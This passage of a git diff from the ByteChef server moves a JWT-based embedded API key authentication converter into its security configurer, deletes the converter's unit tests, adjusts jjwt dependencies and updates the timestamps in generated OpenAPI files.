     implementation("org.springframework.security:spring-security-web")
     implementation(project(":server:libs:core:tenant:tenant-api"))
     implementation(project(":server:libs:platform:platform-api"))
@@ -12,14 +12,6 @@ dependencies {
     implementation(project(":server:ee:libs:embedded:embedded-connected-user:embedded-connected-user-api"))
     implementation(project(":server:ee:libs:embedded:embedded-security:embedded-security-api"))
 
-    runtimeOnly(libs.jjwt.impl)
-    runtimeOnly(libs.jjwt.jackson)
-
-    testImplementation("jakarta.servlet:jakarta.servlet-api")
-    testImplementation("org.mockito:mockito-core")
-    testImplementation(project(":server:libs:core:commons:commons-util"))
-    testImplementation(project(":server:libs:core:tenant:tenant-api"))
-
-    testRuntimeOnly(libs.jjwt.impl)
-    testRuntimeOnly(libs.jjwt.jackson)
+    runtimeOnly("io.jsonwebtoken:jjwt-impl:0.12.5")
+    runtimeOnly("io.jsonwebtoken:jjwt-jackson:0.12.5")
 }
diff --git a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeyAuthenticationConverter.java b/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeyAuthenticationConverter.java
deleted file mode 100644
index d09591958c0..00000000000
--- a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeyAuthenticationConverter.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.embedded.security.web.configurer;
-
-import com.bytechef.ee.embedded.security.service.SigningKeyService;
-import com.bytechef.ee.embedded.security.web.authentication.EmbeddedApiKeyAuthenticationToken;
-import com.bytechef.platform.configuration.domain.Environment;
-import com.bytechef.platform.security.web.filter.AbstractApiKeyAuthenticationConverter;
-import com.bytechef.tenant.TenantContext;
-import com.bytechef.tenant.domain.TenantKey;
-import edu.umd.cs.findbugs.annotations.Nullable;
-import io.jsonwebtoken.Claims;
-import io.jsonwebtoken.Header;
-import io.jsonwebtoken.Jws;
-import io.jsonwebtoken.JwsHeader;
-import io.jsonwebtoken.Jwts;
-import io.jsonwebtoken.Locator;
-import jakarta.servlet.http.HttpServletRequest;
-import java.security.Key;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import org.springframework.security.core.Authentication;
-
-/**
- * Authentication converter for embedded API key authentication.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-class EmbeddedApiKeyAuthenticationConverter extends AbstractApiKeyAuthenticationConverter {
-
-    static final Pattern EXTERNAL_USER_ID_PATTERN = Pattern.compile(".*/v\\d+/([^/]+)/.*");
-    static final Pattern JWT_TOKEN_PATTERN =
-        Pattern.compile("^[A-Za-z0-9-_=]+\\.[A-Za-z0-9-_=]+\\.[A-Za-z0-9-_.+/=]*$");
-
-    private final SigningKeyService signingKeyService;
-
-    EmbeddedApiKeyAuthenticationConverter(SigningKeyService signingKeyService) {
-        this.signingKeyService = signingKeyService;
-    }
-
-    @Override
-    @Nullable
-    public Authentication convert(HttpServletRequest request) {
-        String authToken = fetchAuthToken(request);
-
-        if (authToken == null || authToken.isBlank()) {
-            return null;
-        }
-
-        Environment environment = getEnvironment(request);
-        Matcher jwtTokenMatcher = JWT_TOKEN_PATTERN.matcher(authToken);
-
-        if (jwtTokenMatcher.find()) {
-            Jws<Claims> jws = getJws(authToken, environment.ordinal());
-
-            Claims payload = jws.getPayload();
-
-            String externalUserId = payload.getSubject();
-
-            JwsHeader header = jws.getHeader();
-
-            TenantKey tenantKey = TenantKey.parse(header.getKeyId());
-
-            return new EmbeddedApiKeyAuthenticationToken(
-                environment.ordinal(), externalUserId, tenantKey.getTenantId());
-        } else {
-            String externalUserId;
-            Matcher matcher = EXTERNAL_USER_ID_PATTERN.matcher(request.getRequestURI());
-
-            if (matcher.matches()) {
-                externalUserId = matcher.group(1);
-            } else {
-                throw new IllegalArgumentException("externalUserId parameter is required");
-            }
-
-            TenantKey tenantKey = TenantKey.parse(authToken);
-
-            return new EmbeddedApiKeyAuthenticationToken(
-                environment.ordinal(), externalUserId, tenantKey.getTenantId());
-        }
-    }
-
-    private Jws<Claims> getJws(String secretKey, long environmentId) {
-        return Jwts.parser()
-            .keyLocator(new SigningKeyLocator(environmentId, signingKeyService))
-            .build()
-            .parseSignedClaims(secretKey);
-    }
-
-    private record SigningKeyLocator(long environmentId, SigningKeyService signingKeyService) implements Locator<Key> {
-
-        @Override
-        public Key locate(Header header) {
-            String keyId = (String) header.get("kid");
-
-            TenantKey tenantKey = TenantKey.parse(keyId);
-
-            return TenantContext.callWithTenantId(
-                tenantKey.getTenantId(), () -> signingKeyService.getPublicKey(keyId, environmentId));
-        }
-    }
-}
diff --git a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeySecurityConfigurer.java b/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeySecurityConfigurer.java
index 512e765a989..e902c8e63db 100644
--- a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeySecurityConfigurer.java
+++ b/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/main/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeySecurityConfigurer.java
@@ -12,9 +12,26 @@
 import com.bytechef.ee.embedded.connected.user.service.ConnectedUserService;
 import com.bytechef.ee.embedded.security.service.SigningKeyService;
 import com.bytechef.ee.embedded.security.web.authentication.EmbeddedApiKeyAuthenticationProvider;
+import com.bytechef.ee.embedded.security.web.authentication.EmbeddedApiKeyAuthenticationToken;
+import com.bytechef.platform.configuration.domain.Environment;
 import com.bytechef.platform.security.web.configurer.AbstractApiKeyHttpConfigurer;
+import com.bytechef.platform.security.web.filter.AbstractApiKeyAuthenticationConverter;
+import com.bytechef.tenant.TenantContext;
+import com.bytechef.tenant.domain.TenantKey;
+import edu.umd.cs.findbugs.annotations.Nullable;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.jsonwebtoken.Claims;
+import io.jsonwebtoken.Header;
+import io.jsonwebtoken.Jws;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.Locator;
+import jakarta.servlet.http.HttpServletRequest;
+import java.security.Key;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 import org.springframework.security.config.annotation.web.configurers.CsrfConfigurer;
+import org.springframework.security.core.Authentication;
 
 /**
  * @version ee
@@ -23,10 +40,13 @@
  */
 public class EmbeddedApiKeySecurityConfigurer extends AbstractApiKeyHttpConfigurer {
 
-    @SuppressFBWarnings("EI")
-    public EmbeddedApiKeySecurityConfigurer(
-        ConnectedUserService connectedUserService, SigningKeyService signingKeyService) {
+    private static final Pattern EXTERNAL_USER_ID_PATTERN = Pattern.compile(".*/v\\d+/([^/]+)/.*");
+    private static final Pattern JWT_TOKEN_PATTERN =
+        Pattern.compile("^[A-Za-z0-9-_=]+\\.[A-Za-z0-9-_=]+\\.[A-Za-z0-9-_.+/=]*$");
 
+    @SuppressFBWarnings("EI")
+    public EmbeddedApiKeySecurityConfigurer(ConnectedUserService connectedUserService,
+        SigningKeyService signingKeyService) {
         super(
             request -> regexMatcher("^/api/embedded/v[0-9]+/.+").matches(request) ||
                 (regexMatcher("^/api/(?:automation|embedded|platform)/internal/.+").matches(request) &&
@@ -43,4 +63,75 @@ protected void registerCsrfOverride(CsrfConfigurer<?> csrf) {
             request -> regexMatcher("^/api/(?:automation|embedded|platform)/internal/.+").matches(request) &&
                 request.getHeader("Authorization") != null);
     }
+
+    private static class EmbeddedApiKeyAuthenticationConverter extends AbstractApiKeyAuthenticationConverter {
+
+        private final SigningKeyService signingKeyService;
+
+        private EmbeddedApiKeyAuthenticationConverter(SigningKeyService signingKeyService) {
+            this.signingKeyService = signingKeyService;
+        }
+
+        @Override
+        @Nullable
+        public Authentication convert(HttpServletRequest request) {
+            String authToken = fetchAuthToken(request);
+
+            if (authToken == null) {
+                return null;
+            }
+
+            Environment environment = getEnvironment(request);
+            Matcher jwtTokenMatcher = JWT_TOKEN_PATTERN.matcher(authToken);
+
+            if (jwtTokenMatcher.find()) {
+                Jws<Claims> jws = getJws(authToken, environment.ordinal());
+
+                Claims payload = jws.getPayload();
+
+                String externalUserId = payload.getSubject();
+
+                JwsHeader header = jws.getHeader();
+
+                TenantKey tenantKey = TenantKey.parse(header.getKeyId());
+
+                return new EmbeddedApiKeyAuthenticationToken(
+                    environment.ordinal(), externalUserId, tenantKey.getTenantId());
+            } else {
+                String externalUserId;
+                Matcher matcher = EXTERNAL_USER_ID_PATTERN.matcher(request.getRequestURI());
+
+                if (matcher.matches()) {
+                    externalUserId = matcher.group(1);
+                } else {
+                    throw new IllegalArgumentException("externalUserId parameter is required");
+                }
+
+                TenantKey tenantKey = TenantKey.parse(authToken);
+
+                return new EmbeddedApiKeyAuthenticationToken(
+                    environment.ordinal(), externalUserId, tenantKey.getTenantId());
+            }
+        }
+
+        private Jws<Claims> getJws(String secretKey, long environmentI) {
+            return Jwts.parser()
+                .keyLocator(new SigningKeyLocator(environmentI, signingKeyService))
+                .build()
+                .parseSignedClaims(secretKey);
+        }
+    }
+
+    private record SigningKeyLocator(long environmentId, SigningKeyService signingKeyService) implements Locator<Key> {
+
+        @Override
+        public Key locate(Header header) {
+            String keyId = (String) header.get("kid");
+
+            TenantKey tenantKey = TenantKey.parse(keyId);
+
+            return TenantContext.callWithTenantId(
+                tenantKey.getTenantId(), () -> signingKeyService.getPublicKey(keyId, environmentId));
+        }
+    }
 }
diff --git a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/test/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeyAuthenticationConverterTest.java b/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/test/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeyAuthenticationConverterTest.java
deleted file mode 100644
index fff501d0fe2..00000000000
--- a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/src/test/java/com/bytechef/ee/embedded/security/web/configurer/EmbeddedApiKeyAuthenticationConverterTest.java
+++ /dev/null
@@ -1,222 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.embedded.security.web.configurer;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.commons.util.EncodingUtils;
-import com.bytechef.ee.embedded.security.service.SigningKeyService;
-import com.bytechef.ee.embedded.security.web.authentication.EmbeddedApiKeyAuthenticationToken;
-import com.bytechef.platform.configuration.domain.Environment;
-import com.bytechef.tenant.TenantContext;
-import io.jsonwebtoken.Jwts;
-import jakarta.servlet.http.HttpServletRequest;
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import java.security.NoSuchAlgorithmException;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.security.core.Authentication;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-class EmbeddedApiKeyAuthenticationConverterTest {
-
-    private EmbeddedApiKeyAuthenticationConverter converter;
-    private HttpServletRequest request;
-    private SigningKeyService signingKeyService;
-
-    @BeforeEach
-    void setUp() {
-        signingKeyService = mock(SigningKeyService.class);
-
-        converter = new EmbeddedApiKeyAuthenticationConverter(signingKeyService);
-        request = mock(HttpServletRequest.class);
-    }
-
-    @Test
-    void testConvertWithNullAuthorizationHeaderReturnsNull() {
-        when(request.getHeader("Authorization")).thenReturn(null);
-
-        Authentication result = converter.convert(request);
-
-        assertThat(result).isNull();
-    }
-
-    @Test
-    void testConvertWithEmptyBearerTokenReturnsNull() {
-        when(request.getHeader("Authorization")).thenReturn("Bearer ");
-
-        Authentication result = converter.convert(request);
-
-        assertThat(result).isNull();
-    }
-
-    @Test
-    void testConvertWithBlankBearerTokenReturnsNull() {
-        when(request.getHeader("Authorization")).thenReturn("Bearer    ");
-
-        Authentication result = converter.convert(request);
-
-        assertThat(result).isNull();
-    }
-
-    @Test
-    void testConvertWithNonJwtTokenAndInternalUrlThrowsIllegalArgumentException() {
-        when(request.getHeader("Authorization")).thenReturn("Bearer invalid-token");
-        when(request.getRequestURI()).thenReturn("/api/platform/internal/some-endpoint");
-
-        assertThatThrownBy(() -> converter.convert(request))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessage("externalUserId parameter is required");
-    }
-
-    @Test
-    void testConvertWithNonJwtTokenAndValidUriReturnsAuthentication() {
-        String tenantId = "test-tenant";
-        String tenantKey = EncodingUtils.base64EncodeToString(tenantId + ":randomData");
-        String externalUserId = "user123";
-
-        when(request.getHeader("Authorization")).thenReturn("Bearer " + tenantKey);
-        when(request.getHeader("X-ENVIRONMENT")).thenReturn(null);
-        when(request.getRequestURI()).thenReturn("/api/embedded/v1/" + externalUserId + "/endpoint");
-
-        Authentication result = converter.convert(request);
-
-        assertThat(result).isNotNull();
-        assertThat(result).isInstanceOf(EmbeddedApiKeyAuthenticationToken.class);
-
-        EmbeddedApiKeyAuthenticationToken token = (EmbeddedApiKeyAuthenticationToken) result;
-
-        assertThat(token.getExternalUserId()).isEqualTo(externalUserId);
-        assertThat(token.getTenantId()).isEqualTo(tenantId);
-        assertThat(token.getEnvironmentId()).isEqualTo(Environment.PRODUCTION.ordinal());
-    }
-
-    @Test
-    void testConvertWithNonJwtTokenAndDevelopmentEnvironmentReturnsAuthentication() {
-        String tenantId = "test-tenant";
-        String tenantKey = EncodingUtils.base64EncodeToString(tenantId + ":randomData");
-        String externalUserId = "user456";
-
-        when(request.getHeader("Authorization")).thenReturn("Bearer " + tenantKey);
-        when(request.getHeader("X-ENVIRONMENT")).thenReturn("DEVELOPMENT");
-        when(request.getRequestURI()).thenReturn("/api/embedded/v2/" + externalUserId + "/workflow");
-
-        Authentication result = converter.convert(request);
-
-        assertThat(result).isNotNull();
-        assertThat(result).isInstanceOf(EmbeddedApiKeyAuthenticationToken.class);
-
-        EmbeddedApiKeyAuthenticationToken token = (EmbeddedApiKeyAuthenticationToken) result;
-
-        assertThat(token.getExternalUserId()).isEqualTo(externalUserId);
-        assertThat(token.getTenantId()).isEqualTo(tenantId);
-        assertThat(token.getEnvironmentId()).isEqualTo(Environment.DEVELOPMENT.ordinal());
-    }
-
-    @Test
-    void testConvertWithNonJwtTokenAndStagingEnvironmentReturnsAuthentication() {
-        String tenantId = "staging-tenant";
-        String tenantKey = EncodingUtils.base64EncodeToString(tenantId + ":randomData");
-        String externalUserId = "staging-user";
-
-        when(request.getHeader("Authorization")).thenReturn("Bearer " + tenantKey);
-        when(request.getHeader("X-ENVIRONMENT")).thenReturn("staging");
-        when(request.getRequestURI()).thenReturn("/api/embedded/v1/" + externalUserId + "/connections");
-
-        Authentication result = converter.convert(request);
-
-        assertThat(result).isNotNull();
-        assertThat(result).isInstanceOf(EmbeddedApiKeyAuthenticationToken.class);
-
-        EmbeddedApiKeyAuthenticationToken token = (EmbeddedApiKeyAuthenticationToken) result;
-
-        assertThat(token.getExternalUserId()).isEqualTo(externalUserId);
-        assertThat(token.getTenantId()).isEqualTo(tenantId);
-        assertThat(token.getEnvironmentId()).isEqualTo(Environment.STAGING.ordinal());
-    }
-
-    @Test
-    void testConvertWithJwtTokenReturnsAuthentication() throws NoSuchAlgorithmException {
-        String tenantId = "jwt-tenant";
-        String externalUserId = "jwt-user";
-        String keyId = EncodingUtils.base64EncodeToString(tenantId + ":keyId");
-
-        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
-
-        keyPairGenerator.initialize(2048);
-
-        KeyPair keyPair = keyPairGenerator.generateKeyPair();
-
-        String jwtToken = Jwts.builder()
-            .header()
-            .keyId(keyId)
-            .and()
-            .subject(externalUserId)
-            .signWith(keyPair.getPrivate())
-            .compact();
-
-        when(request.getHeader("Authorization")).thenReturn("Bearer " + jwtToken);
-        when(request.getHeader("X-ENVIRONMENT")).thenReturn("PRODUCTION");
-        when(signingKeyService.getPublicKey(anyString(), anyLong())).thenReturn(keyPair.getPublic());
-
-        Authentication result = TenantContext.callWithTenantId(tenantId, () -> converter.convert(request));
-
-        assertThat(result).isNotNull();
-        assertThat(result).isInstanceOf(EmbeddedApiKeyAuthenticationToken.class);
-
-        EmbeddedApiKeyAuthenticationToken token = (EmbeddedApiKeyAuthenticationToken) result;
-
-        assertThat(token.getExternalUserId()).isEqualTo(externalUserId);
-        assertThat(token.getTenantId()).isEqualTo(tenantId);
-        assertThat(token.getEnvironmentId()).isEqualTo(Environment.PRODUCTION.ordinal());
-    }
-
-    @Test
-    void testJwtTokenPatternMatchesValidJwt() {
-        String validJwt = "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.signature";
-
-        assertThat(EmbeddedApiKeyAuthenticationConverter.JWT_TOKEN_PATTERN.matcher(validJwt)
-            .find()).isTrue();
-    }
-
-    @Test
-    void testJwtTokenPatternDoesNotMatchPlainToken() {
-        String plainToken = "not-a-jwt-token";
-
-        assertThat(EmbeddedApiKeyAuthenticationConverter.JWT_TOKEN_PATTERN.matcher(plainToken)
-            .find()).isFalse();
-    }
-
-    @Test
-    void testExternalUserIdPatternMatchesValidUri() {
-        String validUri = "/api/embedded/v1/user123/endpoint";
-
-        assertThat(EmbeddedApiKeyAuthenticationConverter.EXTERNAL_USER_ID_PATTERN.matcher(validUri)
-            .matches())
-                .isTrue();
-    }
-
-    @Test
-    void testExternalUserIdPatternDoesNotMatchInvalidUri() {
-        String invalidUri = "/api/platform/internal/some-endpoint";
-
-        assertThat(EmbeddedApiKeyAuthenticationConverter.EXTERNAL_USER_ID_PATTERN.matcher(invalidUri)
-            .matches())
-                .isFalse();
-    }
-}
diff --git a/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/SigningKeyApi.java b/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/SigningKeyApi.java
index 228ce7ac53a..2f44e0f8032 100644
--- a/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/SigningKeyApi.java
+++ b/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/SigningKeyApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.376196+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362554+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "signing-key", description = "The Embedded User Signing Key Internal API")
 public interface SigningKeyApi {
diff --git a/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/CreateSigningKey200ResponseModel.java b/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/CreateSigningKey200ResponseModel.java
index 587891ebaa6..e44fb741a37 100644
--- a/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/CreateSigningKey200ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/CreateSigningKey200ResponseModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("createSigningKey_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.376196+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362554+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateSigningKey200ResponseModel {
 
   private @Nullable String privateKey;
diff --git a/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/SigningKeyModel.java b/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/SigningKeyModel.java
index 0bed4868968..f4a718ac657 100644
--- a/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/SigningKeyModel.java
+++ b/server/ee/libs/embedded/embedded-security/embedded-security-rest/generated/src/main/java/com/bytechef/ee/embedded/security/web/rest/model/SigningKeyModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "SigningKey", description = "Contains generated public key used for signing JWT tokens.")
 @JsonTypeName("SigningKey")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.376196+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.362554+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class SigningKeyModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-security/embedded-security-service/build.gradle.kts b/server/ee/libs/embedded/embedded-security/embedded-security-service/build.gradle.kts
index 37cb2446263..39644528c54 100644
--- a/server/ee/libs/embedded/embedded-security/embedded-security-service/build.gradle.kts
+++ b/server/ee/libs/embedded/embedded-security/embedded-security-service/build.gradle.kts
@@ -2,7 +2,6 @@ dependencies {
     api(project(":server:ee:libs:embedded:embedded-security:embedded-security-api"))
 
     implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework:spring-context")
     implementation("org.springframework.data:spring-data-jdbc")
     implementation(project(":server:libs:core:commons:commons-util"))
diff --git a/server/ee/libs/embedded/embedded-security/embedded-security-service/src/main/java/com/bytechef/ee/embedded/security/config/EmbeddedSecurityJdbcRepositoryConfiguration.java b/server/ee/libs/embedded/embedded-security/embedded-security-service/src/main/java/com/bytechef/ee/embedded/security/config/EmbeddedSecurityJdbcRepositoryConfiguration.java
deleted file mode 100644
index 8898c2fd1ab..00000000000
--- a/server/ee/libs/embedded/embedded-security/embedded-security-service/src/main/java/com/bytechef/ee/embedded/security/config/EmbeddedSecurityJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.embedded.security.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.embedded.security.repository")
-class EmbeddedSecurityJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/embedded/embedded-security/embedded-security-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/embedded/embedded-security/embedded-security-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 7e2e5dc7c6c..00000000000
--- a/server/ee/libs/embedded/embedded-security/embedded-security-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.embedded.security.config.EmbeddedSecurityJdbcRepositoryConfiguration
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/AccountApi.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/AccountApi.java
index 502613161bf..c74afa437ff 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/AccountApi.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/AccountApi.java
@@ -38,7 +38,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "account", description = "The `Account` Common Object represents a \"company\" in CRMs.")
 public interface AccountApi {
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/AccountModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/AccountModel.java
index 72fad686a12..90ee9f3e04a 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/AccountModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/AccountModel.java
@@ -29,7 +29,7 @@
  */
 
 @JsonTypeName("account")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class AccountModel {
 
   private JsonNullable<String> accountNumber = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreateUpdateAccountModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreateUpdateAccountModel.java
index 22d85a49724..0f169487bd9 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreateUpdateAccountModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreateUpdateAccountModel.java
@@ -27,7 +27,7 @@
  */
 
 @JsonTypeName("create_update_account")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateUpdateAccountModel {
 
   private JsonNullable<String> accountNumber = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedModel.java
index e5908df1ba4..9921e31e3b5 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("created")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreatedModel {
 
   private String id;
